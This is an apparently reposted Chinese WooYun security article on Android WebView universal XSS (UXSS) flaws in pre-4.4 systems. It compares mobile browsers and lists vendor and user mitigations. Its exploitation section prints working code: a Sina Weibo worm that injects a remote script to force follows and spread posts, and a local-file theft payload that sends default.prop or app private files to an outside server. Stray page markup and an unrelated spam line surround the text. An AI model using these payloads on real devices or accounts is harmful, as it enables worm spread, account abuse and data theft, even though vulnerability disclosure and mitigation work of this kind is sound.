<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tools/3186

                    0x00 科普


                    WebView(網絡視圖)android中加載顯示網頁的重要組件,可以將其視為一個瀏覽器。在kitkat(android 4.4)以前使用WebKit渲染引擎加載顯示網頁,在kitkat之后使用谷歌自家內核chromium。

                    Uxss(Universal Cross-Site Scripting通用型XSS)UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊類型。可以到達瀏覽器全局遠程執行命令、繞過同源策略、竊取用戶資料以及劫持用戶的嚴重危害。

                    同源策略所謂同源是指,域名,協議,端口相同,瀏覽器或者瀏覽器擴展共同遵循的安全策略。詳見:http://drops.wooyun.org/tips/151

                    0x01 事件


                    近段時間android UXSS漏洞持續性爆發涉及android應用包括主手機流瀏覽器、聊天軟件等。下面截取幾個案例。

                    引用某廠商對此漏洞的回應

                    非常感謝您的報告,此問題屬于andriod webkit的漏洞,請盡量使用最新版的andriod系統。
                    

                    的確漏洞產生的原因是因為kitkat(android 4.4)之前webview組件使用webview內核而遺留的漏洞。使用最新的android系統當然安全性要更高而且運行更流暢,但是有多少人能升級或者使用到相對安全的android版本了。下圖來自谷歌官方2014.09.09的統計數據。

                    看起來情況不是太糟糕,有24.5%的android用戶是處于相對安全的版本下。但是官方數據的是來google play明顯和大陸水土不服。國內就只能使用相對靠譜的本土第三方統計了。下圖是umeng八月的統計情況

                    能使用到相對安全的android系統的用戶不到8%,那么問題來了~我要換一個什么的樣的手機了。忘記我是個屌絲了,破手機無法升級到kitkat也沒錢換手機。那就只能選擇使用相對安全的應用來盡量避免我受到攻擊。于是我們收集了一些命中率較高的POC來驗證到底哪些app更靠譜一些。

                    為了方便大家也能夠方便測試其他應用我們嘗試寫出一個自動化的腳本來完成此項工作。

                    0x02 測試


                    http://zone.wooyun.org/content/15792

                    下圖為360瀏覽器在android 4.2.2下的測試結果

                    下圖為搜狗瀏覽器在android 4.4.3下的測試結果

                    測試代碼將放入github供大家參考,歡迎大神來修改

                    代碼地址:https://github.com/click1/uxss

                    在線測試地址:http://uxss.sinaapp.com/index.php

                    0x03 對比

                    我們對主流手機瀏覽器進行了橫向對比,測試對象包括:UC瀏覽器、搜狗瀏覽器、百度瀏覽器、360安全瀏覽器、歐鵬瀏覽器、遨游云瀏覽器、獵豹瀏覽器。測試結果見下圖。

                    0x04 建議


                    廠商(僅供參考):

                    1、服務端禁止iframe嵌套X-FRAME-OPTIONS:DENY。詳見:http://drops.wooyun.org/papers/104

                    2、客戶端使用setAllowFileAccess(false)方法禁止webview訪問本地域。詳見:setAllowFileAccess(boolean)

                    3、客戶端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳轉前進行跨域判斷。詳見[onPageStarted (WebView view, String url, Bitmap favicon)][8]

                    4、客戶端對iframe object標簽屬性進行過濾。

                    用戶:

                    1、使用漏洞較少的app,及時更新app。

                    2、不要隨意打開一些莫名其妙的鏈接。

                    3、有錢你就買新手機吧,android L馬上出來了。(可以通過google play推送安全補丁,呵呵)

                    0x05 利用


                    (此部分考慮到影響并未第一時間放出,現在漏洞已經被忽略,在此更新)

                    1、 WooYun: 掃描新浪微博安卓客戶端UXSS附蠕蟲利用 蠕蟲代碼如下:

                    test.html

                    <iframe name="m" src="http://m.weibo.cn/xxx" onload="window.open('\u0000javascript:window.s%3Ddocument.createElement%28%27script%27%29%3Bwindow.s.src%3D%27http://site/test.js%27%3Bdocument.body.appendChild%28window.s%29%3B','m')" >
                    

                    test.js

                    url = 'http://m.weibo.cn/attentionDeal/addAttention?';
                    
                    url2 = 'http://m.weibo.cn/mblogDeal/addAMblog?rl=1';
                    
                    function createXHR(){
                    
                        return window.XMLHttpRequest?
                    
                        new XMLHttpRequest():
                    
                        new ActiveXObject("Microsoft.XMLHTTP");
                    
                    }
                    
                    
                    
                    
                    
                    function post(url,data,sync){
                    
                        xmlHttp = createXHR();
                    
                        xmlHttp.open("POST",url,sync);
                    
                        xmlHttp.setRequestHeader("Accept","text/html, application/xhtml+xml, */*");
                    
                        xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
                    
                        xmlHttp.send(data);
                    
                    }
                    
                    
                    
                    function send(){
                    
                        data = 'uid=3605736194';
                    
                        data2 = 'content=http://site/worm.html';
                    
                        post(url,data,false);
                    
                        post(url2,data2,false);
                    
                    }
                    
                    
                    
                    function main(){
                    
                        try{
                    
                        send();
                    
                        alert("done");
                    
                        }
                    
                        catch(e){alert("error");}
                    
                    }
                    
                    main();
                    

                    2、竊取本地文件

                    test.html

                    <button onclick="iframe.src='http://notfound/'">x</button><br>
                    <button onclick="exploit1()">Get local file!</button><br>
                    <script>
                    function exploit1() {
                        window.open('\u0000javascript:document.body.innerHTML="<script/src=http://site/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2()  style=width:100%;height:1000px; name=test2></iframe>";','test');
                    }
                    </script>
                    <iframe src="http://m.baidu.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>
                    

                    test.js

                    var flag = 0;
                    function exploit2(){
                      if(flag) {return}
                     window.open('\u0000javascript:location.replace("http://site/cross/test.php?test="+escape(document.body.innerHTML))','test2');
                      flag = 1;
                    }
                    

                    服務端接收到android的default.prop文件內容。也可以竊取相應app私有目錄/data/data/packagename/下文件

                    0x06 參考


                    RAyH4c(茄子)《細數安卓WebView的那些神洞》

                    http://zone.wooyun.org/content/15792

                    8: http://developer.android.com/intl/zh-cn/reference/android/webkit/WebViewClient.html#onPageStarted(android.webkit.WebView, java.lang.String, android.graphics.Bitmap)

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频